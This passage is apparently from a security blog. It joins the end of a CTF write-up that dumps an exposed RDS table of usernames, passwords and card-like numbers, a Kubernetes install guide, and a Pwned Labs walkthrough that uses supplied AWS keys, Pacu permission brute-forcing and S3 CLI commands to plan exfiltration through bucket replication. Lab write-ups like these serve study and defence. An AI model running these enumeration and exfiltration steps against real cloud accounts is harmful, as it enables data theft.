 template0   | rdsadmin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | =c/rdsadmin          +
             |          |          |             |             |            |                 | rdsadmin=CTc/rdsadmin
 template1   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 |            | libc            | =c/postgres          +
             |          |          |             |             |            |                 | postgres=CTc/postgres
(5 rows)

postgres=> \c cust_orders
psql (15.7, server 14.11)
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, compression: off)
You are now connected to database "cust_orders" as user "postgres".
cust_orders=> \dt
         List of relations
 Schema |  Name  | Type  |  Owner   
--------+--------+-------+----------
 public | flag   | table | postgres
 public | orders | table | postgres
(2 rows)

cust_orders=> select * from orders;
 order_id |     username     |      password      | contract |      credit      
----------+------------------+--------------------+----------+------------------
     5421 | cmckoy1          | sS9Ty#q9$eWt5      | 20       | 4024007170882670
     5422 | icotesford2      | fU5v{\W@L          | 4826     | 4929845244025480
     5423 | ccrowley3        | uT0*4Weju2Y5y      | 26       | 4916667994903810
     5424 | aclapton4        | cP10#C7plSND?      | 8142     | 4929058775447770
     5425 | cgayther5        | mL8MqODFOb5        | 1272     | 4532144970022660
     5426 | llekeux6         | "bJ0?>*""#.MWQyl\" | 147      | 4716938266108160
     5430 | bsteckingse      | lD0{MIoK           | 566      | 4485183940482810
     5431 | pbortonf         | sJ2c_WT\JKd        | 82       | 4485935491550410
     5436 | cstacek          | l850WJian          | 2255     | 4716007731412910
     5437 | mflawsl          | 151iAEqKd          | 28160    | 4539699812362260
     5438 | jleindeckerm     | 72zBpmsrS          | 8266     | 4289820367687140
     5439 | mfinann          | PkRYmQnO4          | 77       | 4539087515570140
     5440 | mbootep          | FjyuISweP          | 85617    | 4716750859124260
     5441 | dbalogunq        | IrOYK75ig          | 673      | 4556528496965920
     5442 | fgrishanovs      | xIU7dPAbf          | 35       | 4556546482969700
     5443 | ubiasinit        | YzvYaq0wl          | 21       | 4716438044123840
     5445 | leddowx          | Mb0xSsw9e          | 3362     | 4556913179072280
     5446 | afoulisy         | BaUR5EiGt          | 3619     | 4929717439788210

We have successfully found PII information as well as the flag, but it is important to note that even though AWS provides ample warnings and even emails you about the dangers of having a public RDS snapshot, there are still a lot of them and if it is an option, no matter how bad, you can be sure that someone will choose it.

Install Kubernetes

Fri, 21 Jun 2024 17:19:30 +0800

Build Overview

Virtual Environment - https://proxmox.com/en/proxmox-virtual-environment/overview
Debian 12 (Cloud Image) - https://cloud.debian.org/images/cloud/
Kubernetes 1.30.2 - https://kubernetes.io/releases/
Containerd 1.7.14 - https://containerd.io/releases/
RunC 1.1.13 - https://github.com/opencontainers/runc/releases
CNI Plugins 1.5.1 - https://github.com/containernetworking/plugins/releases
Calico CNI 3.28.0 - https://docs.tigera.io/calico/3.27/getting-started/kubernetes/quickstart

System Summary

3 Nodes, 2 vCPU, 4GB RAM, 32GB Disk

k8s-ctrlr : 192.168.8.80
k8s-node-1 : 192.168.8.81
k8s-node-2 : 192.168.8.82

Installation Process

The following installation steps are required to be carried out on all hosts. Specific steps for the Control Node will be marked accordingly.

If you don’t have DNS then you need to update /etc/hosts with the host names and IP addresses of all systems

# Switch to the root user
sudo -i 

# Add required kernel modules to the configuration for loading at boot
printf "overlay\nbr_netfilter\n" >> /etc/modules-load.d/containerd.conf

# Load the kernel modules immediately
modprobe overlay
modprobe br_netfilter

# Configure sysctl parameters required for Kubernetes networking
printf "net.bridge.bridge-nf-call-iptables = 1\nnet.ipv4.ip_forward = 1\nnet.bridge.bridge-nf-call-ip6tables = 1\n" >> /etc/sysctl.d/99-kubernetes-cri.conf

# Apply the sysctl parameters without rebooting
sysctl --system

# Download the specified version of containerd
wget https://github.com/containerd/containerd/releases/download/v1.7.14/containerd-1.7.14-linux-amd64.tar.gz -P /tmp

# Extract the downloaded containerd archive to /usr/local
tar Cxzvf /usr/local /tmp/containerd-1.7.14-linux-amd64.tar.gz

# Download the systemd service file for containerd
wget https://raw.githubusercontent.com/containerd/containerd/main/containerd.service -P /etc/systemd/system/

# Reload systemd configuration and enable containerd to start on boot, then start it immediately
systemctl daemon-reload
systemctl enable --now containerd

# Download the runc binary
wget https://github.com/opencontainers/runc/releases/download/v1.1.13/runc.amd64 -P /tmp/

# Install the runc binary to /usr/local/sbin with appropriate permissions
install -m 755 /tmp/runc.amd64 /usr/local/sbin/runc

# Download the CNI plugins archive
wget https://github.com/containernetworking/plugins/releases/download/v1.5.1/cni-plugins-linux-amd64-v1.5.1.tgz -P /tmp/

# Create the directory for CNI plugins and extract the downloaded archive there
mkdir -p /opt/cni/bin
tar Cxzvf /opt/cni/bin /tmp/cni-plugins-linux-amd64-v1.5.1.tgz

# Create the containerd configuration directory
mkdir -p /etc/containerd

# Generate the default containerd configuration and save it to the config file
containerd config default | tee /etc/containerd/config.toml

We need to edit this file /etc/containerd/config.toml in your favorite editor. Search for “SystemdCgroup” and change the value to true and then restart the service with systemctl restart containerd

Ensure that you are changing the correct value which is under “[plugins.“io.containerd.grpc.v1.cri”.containerd.runtimes.runc.options]”

# Ensure that swap is turned off
swapoff -a

# Edit /etc/fstab and comment out any line that refers to swap
# This can be done manually using a text editor like nano or vim
# For example: nano /etc/fstab

# Update package lists and install required packages
apt update && sudo apt install -y apt-transport-https ca-certificates curl gpg

# Create the directory for storing apt keyrings with appropriate permissions
mkdir -p -m 755 /etc/apt/keyrings

# Download and store the Kubernetes APT repository key
curl -fsSL https://pkgs.k8s.io/core:/stable:/v1.30/deb/Release.key | sudo gpg --dearmor -o /etc/apt/keyrings/kubernetes-apt-keyring.gpg

# Add the Kubernetes APT repository to the sources list
echo 'deb [signed-by=/etc/apt/keyrings/kubernetes-apt-keyring.gpg] https://pkgs.k8s.io/core:/stable:/v1.30/deb/ /' | sudo tee /etc/apt/sources.list.d/kubernetes.list

# Update package lists again to include the Kubernetes repository
apt update

# Reboot the system to apply changes
reboot

Once the system has reboot, we shall continue with the installation

# Switch to the root user
sudo -i

# Install specific versions of kubelet, kubeadm, and kubectl
apt install -y kubelet=1.30.2-1.1 kubeadm=1.30.2-1.1 kubectl=1.30.2-1.1

# Prevent the installed versions of kubelet, kubeadm, and kubectl from being automatically updated
apt-mark hold kubelet kubeadm kubectl

Control Node Only

The following tasks are to be run on the control node only

Ensure that the kubernetes version is correct for what you installed and that the node-name value is set to the hostname of the Control Node.

kubeadm init --pod-network-cidr 10.10.0.0/16 --kubernetes-version 1.30.2 --node-name k8s-ctrlr
export KUBECONFIG=/etc/kubernetes/admin.conf

# For non-root user run the following commands
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config

# Setup Calico CNI 3.28.0
kubectl create -f https://raw.githubusercontent.com/projectcalico/calico/v3.28.0/manifests/tigera-operator.yaml
wget https://raw.githubusercontent.com/projectcalico/calico/v3.28.0/manifests/custom-resources.yaml

Modify the custom-resources.yml file to update the CIDR to match the POD CIDR set in the previous step using your favorite editor. The following is the modified YAML file

# This section includes base Calico installation configuration.
# For more information, see: https://docs.tigera.io/calico/latest/reference/installation/api#operator.tigera.io/v1.Installation
apiVersion: operator.tigera.io/v1
kind: Installation
metadata:
  name: default
spec:
  # Configures Calico networking.
  calicoNetwork:
    ipPools:
    - name: default-ipv4-ippool
      blockSize: 26
      cidr: 10.10.0.0/16
      encapsulation: VXLANCrossSubnet
      natOutgoing: Enabled
      nodeSelector: all()

---

# This section configures the Calico API server.
# For more information, see: https://docs.tigera.io/calico/latest/reference/installation/api#operator.tigera.io/v1.APIServer
apiVersion: operator.tigera.io/v1
kind: APIServer
metadata:
  name: default
spec: {}

Once the file has been modified we then apply the settings by running the command kubectl apply -f custom-resources.yaml and validate that our system is operational by running the command kubectl get pods -A and confirm that they are all in a ready state.

Worker Nodes

The next step is to join the Worker Nodes to the Cluster and for this we need to run the following command on the Control Node

kubeadm token create --print-join-command

This will print out a command that we need to run on the Worker Nodes and once we have added them we can verify by running kubectl get nodes

Deploy Test Application

On the Controller we will create a file called pod.yml which will contain the following:

apiVersion: v1
kind: Pod
metadata:
  name: nginx-example
  labels:
    app: nginx
spec:
  containers:
    - name: nginx
      image: linuxserver/nginx
      ports:
        - containerPort: 80
          name: "nginx-http"

We then apply the file to deploy the pod

david@k8s-ctrlr:~$ kubectl apply -f pod.yml
pod/nginx-example created

# Check to see that the Pod has been created
david@k8s-ctrlr:~ kubectl get pods
NAME            READY   STATUS    RESTARTS   AGE
nginx-example   1/1     Running   0          85s

# View more details
david@k8s-ctrlr:~$ kubectl get pods -o wide
NAME            READY   STATUS    RESTARTS   AGE     IP             NODE         NOMINATED NODE   READINESS GATES
nginx-example   1/1     Running   0          9m57s   10.10.109.66   k8s-node-1

At present this is only accessible from within side the network and we can test that it deployed correctly by querying it with curl from within K8s

david@k8s-ctrlr:~$ curl 10.10.109.66
    
        
            Welcome to our server
            
        
        
            ="message">
                Welcome to our server
                The website is currently being setup under this address.
                For help and support, please contact: ="me@example.com">me@example.com

We need to create a Service to enable this to be accessible from outside the internal network, so we will create a file called service-nodeport which will contain the following:

apiVersion: v1
kind: Service
metadata:
  name: nginx-example
spec:
  type: NodePort
  ports:
    - name: http
      port: 80
      nodePort: 30080
      targetPort: nginx-http
  selector:
    app: nginx

We then apply the file and verify that the service is running

david@k8s-ctrlr:~$ kubectl apply -f service-nodeport.yml
service/nginx-example created

# Check that the service is online
david@k8s-ctrlr:~$ kubectl get service
NAME            TYPE        CLUSTER-IP      EXTERNAL-IP   PORT(S)        AGE
kubernetes      ClusterIP   10.96.0.1               443/TCP        27h
nginx-example   NodePort    10.101.177.98           80:30080/TCP   11s

We can now navigate to any of the IP Addresses of our controller or nodes using the port 30080 that we specified and we have the website page

❯ curl http://192.168.8.81:30080/
    
        
            Welcome to our server
            
        
        
            ="message">
                Welcome to our server
                The website is currently being setup under this address.
                For help and support, please contact: ="me@example.com">me@example.com

Delete Test Application

To delete the test application, we need to run the following commands

# Delete Pod
david@k8s-ctrlr:~$ kubectl delete pod nginx-example
pod "nginx-example" deleted

# Delete Service
david@k8s-ctrlr:~$ kubectl delete service nginx-example
service "nginx-example" deleted

We have now successfully installed Kubernetes.

Pwned Labs - Abuse S3 Replication and Batch Ops to Exfiltrate Data

Wed, 19 Jun 2024 15:58:11 +0800

Pwned Labs - Abuse S3 Replication and Batch Ops to Exfiltrate Data

Scenario

During the external part of the assessment for a client, you identified credentials stored in a zip file for an AWS IAM user. Use these credentials and show the client the impact of this breach!

Learning Outcomes

Modify S3 bucket replication settings to exfiltrate new data
Modify S3 batch operations settings to exfiltrate existing data
Manual S3 enumeration and rights testing
Identifying attack vectors with manual IAM enumeration
Identifying assigned IAM permissions using aws-enumerator

AWS Access Credentials

Access Keys: AKIAUSHNW2N36BBJBMQF
Secret Access Keys: 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

This write up doesn’t follow the specific walkthrough as my intention was to find multiple ways to be able to complete the same activity which, in my opinion, is one of the major differentiators for Pwned Labs is that there are multiple ways to achieve the end objective.

I did respawn this lab a couple of times during the documentation so if you notice any different Account ID’s or S3 bucket names, this is the reason why.

As we have been provided with credentials, the first thing we have to do is configure our profile and confirm that they are valid.

❯ aws configure --profile pentester
AWS Access Key ID [****************HZLI]: AKIAUSHNW2N36BBJBMQF
AWS Secret Access Key [****************hY3c]: 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
Default region name [None]:
Default output format [None]:

❯ aws --profile pentester sts get-caller-identity
{
    "UserId": "AIDAUSHNW2N33LJ7TPUPP",
    "Account": "314031133559",
    "Arn": "arn:aws:iam::314031133559:user/tier2_eng"
}

We are going to start the enumeration initially with pacu to increase our familiarity with the tool. When we launch it, we need to create a project and then import our keys. Once this has been completed, we can run the whoami command to verify that this has worked successfully.

Pacu (pwnedlabs-s3repl:No Keys Set) > import_keys pentester
  Imported keys as "imported-pentester"
Pacu (pwnedlabs-s3repl:imported-pentester) >
Pacu (pwnedlabs-s3repl:imported-pentester) > whoami
{
  "UserName": null,
  "RoleName": null,
  "Arn": null,
  "AccountId": null,
  "UserId": null,
  "Roles": null,
  "Groups": null,
  "Policies": null,
  "AccessKeyId": "AIDAUSHNW2N33LJ7TPUPP",
  "SecretAccessKey": "bzLI8l7//wSXRJvmvPVf********************",
  "SessionToken": null,
  "KeyAlias": "imported-pentester",
  "PermissionsConfirmed": null,
  "Permissions": {
    "Allow": {},
    "Deny": {}
  }
}

We have verified that our credentials work and next we will brute force IAM permissions by running the command run iam__bruteforce_permissions which takes a while and produces a lot of output on the screen. The following is the summary

[iam__bruteforce_permissions] Allowed Permissions:

  ec2:
    get_associated_enclave_certificate_iam_roles
    get_host_reservation_purchase_preview
    get_associated_enclave_certificate_iam_roles
    get_host_reservation_purchase_preview
    get_associated_enclave_certificate_iam_roles
    get_host_reservation_purchase_preview
    get_associated_enclave_certificate_iam_roles
    get_host_reservation_purchase_preview

  s3:
    get_bucket_accelerate_configuration
    get_bucket_acl
    get_bucket_analytics_configuration
    get_bucket_cors
    get_bucket_encryption
    get_bucket_intelligent_tiering_configuration
    get_bucket_inventory_configuration
    get_bucket_lifecycle
    get_bucket_lifecycle_configuration
    get_bucket_logging
    get_bucket_notification
    get_bucket_notification_configuration
    get_bucket_ownership_controls
    get_bucket_policy
    get_bucket_replication
    get_bucket_request_payment
    get_bucket_tagging
    get_bucket_versioning
    get_bucket_website
    get_object_lock_configuration
    get_object_torrent
    head_bucket
    list_bucket_analytics_configurations
    list_bucket_intelligent_tiering_configurations
    list_bucket_inventory_configurations
    list_buckets
    get_bucket_accelerate_configuration
    get_bucket_acl
    get_bucket_analytics_configuration
    get_bucket_cors
    get_bucket_encryption
    get_bucket_intelligent_tiering_configuration
    get_bucket_inventory_configuration
    get_bucket_lifecycle
    get_bucket_lifecycle_configuration
    get_bucket_logging
    get_bucket_notification
    get_bucket_notification_configuration
    get_bucket_ownership_controls
    get_bucket_policy
    get_bucket_replication
    get_bucket_request_payment
    get_bucket_tagging
    get_bucket_versioning
    get_bucket_website
    get_object_lock_configuration
    get_object_torrent
    head_bucket
    list_bucket_analytics_configurations
    list_bucket_intelligent_tiering_configurations
    list_bucket_inventory_configurations
    list_buckets
    get_bucket_accelerate_configuration
    get_bucket_acl
    get_bucket_analytics_configuration
    get_bucket_cors
    get_bucket_encryption
    get_bucket_intelligent_tiering_configuration
    get_bucket_inventory_configuration
    get_bucket_lifecycle
    get_bucket_lifecycle_configuration
    get_bucket_logging
    get_bucket_notification
    get_bucket_notification_configuration
    get_bucket_ownership_controls
    get_bucket_policy
    get_bucket_replication
    get_bucket_request_payment
    get_bucket_tagging
    get_bucket_versioning
    get_bucket_website
    get_object_lock_configuration
    get_object_torrent
    head_bucket
    list_bucket_analytics_configurations
    list_bucket_intelligent_tiering_configurations
    list_bucket_inventory_configurations
    list_buckets
    get_bucket_accelerate_configuration
    get_bucket_acl
    get_bucket_analytics_configuration
    get_bucket_cors
    get_bucket_encryption
    get_bucket_intelligent_tiering_configuration
    get_bucket_inventory_configuration
    get_bucket_lifecycle
    get_bucket_lifecycle_configuration
    get_bucket_logging
    get_bucket_notification
    get_bucket_notification_configuration
    get_bucket_ownership_controls
    get_bucket_policy
    get_bucket_replication
    get_bucket_request_payment
    get_bucket_tagging
    get_bucket_versioning
    get_bucket_website
    get_object_lock_configuration
    get_object_torrent
    head_bucket
    list_bucket_analytics_configurations
    list_bucket_intelligent_tiering_configurations
    list_bucket_inventory_configurations
    list_buckets

  logs:
    get_log_record
    get_log_record
    get_log_record
    get_log_record

<--- snip --->

[iam__bruteforce_permissions] iam__bruteforce_permissions completed.

[iam__bruteforce_permissions] MODULE SUMMARY:

Services:
  Supported: ['ec2', 's3', 'logs'].
  Unsupported: [].
  Unknown: 116.
116 allow permissions found.
116 unknown permissions found.
960 deny permissions found.

We have commenced enumeration of IAM and we didn’t have any rights to view our permissions, but we were able to enumerate our roles and policies

Pacu (pwnedlabs-s3repl:imported-pentester) > run iam__enum_users_roles_policies_groups
  Running module iam__enum_users_roles_policies_groups...
[iam__enum_users_roles_policies_groups] No Users Found
[iam__enum_users_roles_policies_groups]   FAILURE: MISSING NEEDED PERMISSIONS
[iam__enum_users_roles_policies_groups] Found 10 roles
[iam__enum_users_roles_policies_groups] Found 5 policies
[iam__enum_users_roles_policies_groups] No Groups Found
[iam__enum_users_roles_policies_groups]   FAILURE: MISSING NEEDED PERMISSIONS
[iam__enum_users_roles_policies_groups] iam__enum_users_roles_policies_groups completed.

[iam__enum_users_roles_policies_groups] MODULE SUMMARY:

  0 Users Enumerated
  10 Roles Enumerated
  5 Policies Enumerated
  0 Groups Enumerated
  IAM resources saved in Pacu database.

We run the data command to get more details about what was found and can see some data relating to S3 replication and batch operations that will come in handy later as we progress through the lab.

Pacu (pwnedlabs-s3repl:imported-pentester) > data

Session data:
aws_keys: [
     imported-pentester>
]
id: 1
created: "2024-06-18 03:22:41.520676"
is_active: true
name: "pwnedlabs-s3repl"
key_alias: "imported-pentester"
access_key_id: "AKIA2MIMMWORU5YCHZLI"
secret_access_key: "******" (Censored)
session_regions: [
    "all"
]
IAM: {
    "Roles": [
        {
            "Path": "/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/",
            "RoleName": "AWSServiceRoleForCostOptimizationHub",
            "RoleId": "AROA2MIMMWORWDVMMFWKH",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/cost-optimization-hub.bcm.amazonaws.com/AWSServiceRoleForCostOptimizationHub",
            "CreateDate": "Wed, 20 Mar 2024 04:56:19",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "cost-optimization-hub.bcm.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/organizations.amazonaws.com/",
            "RoleName": "AWSServiceRoleForOrganizations",
            "RoleId": "AROA2MIMMWORQTTDATFLP",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/organizations.amazonaws.com/AWSServiceRoleForOrganizations",
            "CreateDate": "Thu, 08 Jun 2023 08:14:10",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "organizations.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Service-linked role used by AWS Organizations to enable integration of other AWS services with Organizations.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/servicequotas.amazonaws.com/",
            "RoleName": "AWSServiceRoleForServiceQuotas",
            "RoleId": "AROA2MIMMWOR6TUQGSARV",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/servicequotas.amazonaws.com/AWSServiceRoleForServiceQuotas",
            "CreateDate": "Thu, 08 Jun 2023 08:24:13",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "servicequotas.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "A service-linked role is required for Service Quotas to access your service limits.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/sso.amazonaws.com/",
            "RoleName": "AWSServiceRoleForSSO",
            "RoleId": "AROA2MIMMWOR6KASA6Z42",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/sso.amazonaws.com/AWSServiceRoleForSSO",
            "CreateDate": "Thu, 08 Jun 2023 08:14:23",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "sso.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Service-linked role used by AWS SSO to manage AWS resources, including IAM roles, policies and SAML IdP on your behalf.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/support.amazonaws.com/",
            "RoleName": "AWSServiceRoleForSupport",
            "RoleId": "AROA2MIMMWORZK4TJGXTU",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/support.amazonaws.com/AWSServiceRoleForSupport",
            "CreateDate": "Thu, 08 Jun 2023 08:14:08",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "support.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Enables resource access for AWS to provide billing, administrative and support services",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/aws-service-role/trustedadvisor.amazonaws.com/",
            "RoleName": "AWSServiceRoleForTrustedAdvisor",
            "RoleId": "AROA2MIMMWORZHM2AVJYI",
            "Arn": "arn:aws:iam::713527440291:role/aws-service-role/trustedadvisor.amazonaws.com/AWSServiceRoleForTrustedAdvisor",
            "CreateDate": "Thu, 08 Jun 2023 08:14:08",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "trustedadvisor.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "Description": "Access for the AWS Trusted Advisor Service to help reduce cost, increase performance, and improve security of your AWS environment.",
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "OrganizationAccountAccessRole",
            "RoleId": "AROA2MIMMWORXJEGBQA3H",
            "Arn": "arn:aws:iam::713527440291:role/OrganizationAccountAccessRole",
            "CreateDate": "Thu, 08 Jun 2023 08:14:08",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "AWS": "arn:aws:iam::036528129738:root"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "s3-inventory-role",
            "RoleId": "AROA2MIMMWORTN5PSQDTA",
            "Arn": "arn:aws:iam::713527440291:role/s3-inventory-role",
            "CreateDate": "Tue, 18 Jun 2024 03:00:31",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "s3.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "s3_batch_operations_role",
            "RoleId": "AROA2MIMMWORVCBIBCB2G",
            "Arn": "arn:aws:iam::713527440291:role/s3_batch_operations_role",
            "CreateDate": "Tue, 18 Jun 2024 03:00:31",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "batchoperations.s3.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        },
        {
            "Path": "/",
            "RoleName": "s3_replication_role_for_source_bucket",
            "RoleId": "AROA2MIMMWORS3OEBPPLH",
            "Arn": "arn:aws:iam::713527440291:role/s3_replication_role_for_source_bucket",
            "CreateDate": "Tue, 18 Jun 2024 03:00:31",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": {
                            "Service": "s3.amazonaws.com"
                        },
                        "Action": "sts:AssumeRole"
                    }
                ]
            },
            "MaxSessionDuration": 3600
        }
    ],
    "Policies": [
        {
            "PolicyName": "s3_batch_operations_policy",
            "PolicyId": "ANPA2MIMMWOR2SL2FN4D6",
            "Arn": "arn:aws:iam::713527440291:policy/s3_batch_operations_policy",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Tue, 18 Jun 2024 03:00:34",
            "UpdateDate": "Tue, 18 Jun 2024 03:00:34"
        },
        {
            "PolicyName": "tier2_eng_permissions",
            "PolicyId": "ANPA2MIMMWOR67XGQFCTY",
            "Arn": "arn:aws:iam::713527440291:policy/tier2_eng_permissions",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Tue, 18 Jun 2024 03:00:33",
            "UpdateDate": "Tue, 18 Jun 2024 03:00:33"
        },
        {
            "PolicyName": "securitySecretAccess",
            "PolicyId": "ANPA2MIMMWOR6CFXCGRJL",
            "Arn": "arn:aws:iam::713527440291:policy/securitySecretAccess",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Tue, 18 Jun 2024 03:00:31",
            "UpdateDate": "Tue, 18 Jun 2024 03:00:31"
        },
        {
            "PolicyName": "s3_inventory_policy",
            "PolicyId": "ANPA2MIMMWORWOPMFOAMO",
            "Arn": "arn:aws:iam::713527440291:policy/s3_inventory_policy",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Tue, 18 Jun 2024 03:00:33",
            "UpdateDate": "Tue, 18 Jun 2024 03:00:33"
        },
        {
            "PolicyName": "s3_replication_policy",
            "PolicyId": "ANPA2MIMMWORZNEFHA2KG",
            "Arn": "arn:aws:iam::713527440291:policy/s3_replication_policy",
            "Path": "/",
            "DefaultVersionId": "v1",
            "AttachmentCount": 1,
            "IsAttachable": true,
            "CreateDate": "Tue, 18 Jun 2024 03:00:34",
            "UpdateDate": "Tue, 18 Jun 2024 03:00:34"
        }
    ]
}

Firstly, lets look at what S3 buckets are available with our current credentials.

❯ aws --profile pentester s3 ls | awk '{print $3}'
cust-txn-prod-4c8691723a37
cust-txn-replica-4c8691723a37
s3-secure-backup-4c8691723a37

Whilst, there are only 3 buckets and we could do this manually, we will write a quick bash one-liner to go through these and see if there is any content

❯ for i in $(aws --profile pentester s3 ls | awk '{print $3}'); do echo "Bucket: $i" && aws --profile pentester s3 ls s3://$i ; done

Bucket: cust-txn-prod-4c8691723a37

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Bucket: cust-txn-replica-4c8691723a37

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
Bucket: s3-secure-backup-4c8691723a37

You will note that we didn’t get an access denied on the bucket s3-secure-backup-ca699a35556d which means that we have at least list permissions.

We will see what other permissions we have by trying to upload and then download a file.

❯ aws --profile pentester s3 cp message.txt s3://s3-secure-backup-ca699a35556d
upload: ./message.txt to s3://s3-secure-backup-ca699a35556d/message.txt

❯ aws --profile pentester s3 ls s3://s3-secure-backup-ca699a35556d
2024-06-18 12:32:52         19 message.txt

❯ aws --profile pentester s3 cp s3://s3-secure-backup-ca699a35556d/message.txt message1.txt
download: s3://s3-secure-backup-ca699a35556d/message.txt to ./message1.txt

We have been successful both uploading and downloading from this bucket and in summary we have ListBucket, PutObject and GetObject permissions. Let’s test the other buckets.

❯ for i in $(aws --profile pentester s3 ls | awk '{print $3}' | grep -ve '^s3'); do echo "Bucket: $i" && aws --profile pentester s3 cp message.txt s3://$i ; done
Bucket: cust-txn-prod-4c8691723a37
upload: ./message.txt to s3://cust-txn-prod-4c8691723a37/message.txt
Bucket: cust-txn-replica-4c8691723a37
upload: ./message.txt to s3://cust-txn-replica-4c8691723a37/message.txt

❯ for i in $(aws --profile pentester s3 ls | awk '{print $3}' | grep -ve '^s3'); do echo "Bucket: $i" && aws --profile pentester s3 cp s3://$i/message.txt $i ; done
Bucket: cust-txn-prod-4c8691723a37
fatal error: An error occurred (403) when calling the HeadObject operation: Forbidden
Bucket: cust-txn-replica-4c8691723a37
download: s3://cust-txn-replica-4c8691723a37/message.txt to ./cust-txn-replica-4c8691723a37

The following is a summary of our permissions on all the buckets.

Bucket	ListObject	PutObject	GetObject
cust-txn-prod-ca699a35556d		x
cust-txn-replica-ca699a35556d		x	x
s3-secure-backup-ca699a35556d	x	x	x

You will recall earlier that when we ran Pacu that there was an “s3_batch_operations_policy”. Batch operations are a “managed solution for performing storage actions like copying and tagging objects at scale, whether for one-time tasks or for recurring, batch workloads.”

To get a better understanding of the configuration we query the bucket and we can see that the bucket is configured for cross-region replication which is managed by the IAM role s3_replication_role_for_source_bucket. It replicates all objects as notated by Prefix: "" to the replica bucket with a time of 15 minutes with replication metrics enabled and deletion marker disabled.

❯ aws --profile pentester s3api get-bucket-replication --bucket cust-txn-prod-4c8691723a37
{
    "ReplicationConfiguration": {
        "Role": "arn:aws:iam::314031133559:role/s3_replication_role_for_source_bucket",
        "Rules": [
            {
                "ID": "replicateAll",
                "Priority": 1,
                "Filter": {
                    "Prefix": ""
                },
                "Status": "Enabled",
                "Destination": {
                    "Bucket": "arn:aws:s3:::cust-txn-replica-4c8691723a37",
                    "StorageClass": "STANDARD",
                    "ReplicationTime": {
                        "Status": "Enabled",
                        "Time": {
                            "Minutes": 15
                        }
                    },
                    "Metrics": {
                        "Status": "Enabled",
                        "EventThreshold": {
                            "Minutes": 15
                        }
                    }
                },
                "DeleteMarkerReplication": {
                    "Status": "Disabled"
                }
            }
        ]
    }
}

This opens up a couple of possible attack vendors based on the permissions that we have:

Attack 1 - Use Replication Policies to exfiltrate new S3 objects

We get the details of the S3 Replication Policy and then look at the current configuration

❯ aws --profile pentester iam get-policy --policy-arn arn:aws:iam::314031133559:policy/s3_replication_policy
{
    "Policy": {
        "PolicyName": "s3_replication_policy",
        "PolicyId": "ANPAUSHNW2N3VYTCZB4ZP",
        "Arn": "arn:aws:iam::314031133559:policy/s3_replication_policy",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2024-06-19T01:13:40+00:00",
        "UpdateDate": "2024-06-19T01:13:40+00:00",
        "Tags": []
    }
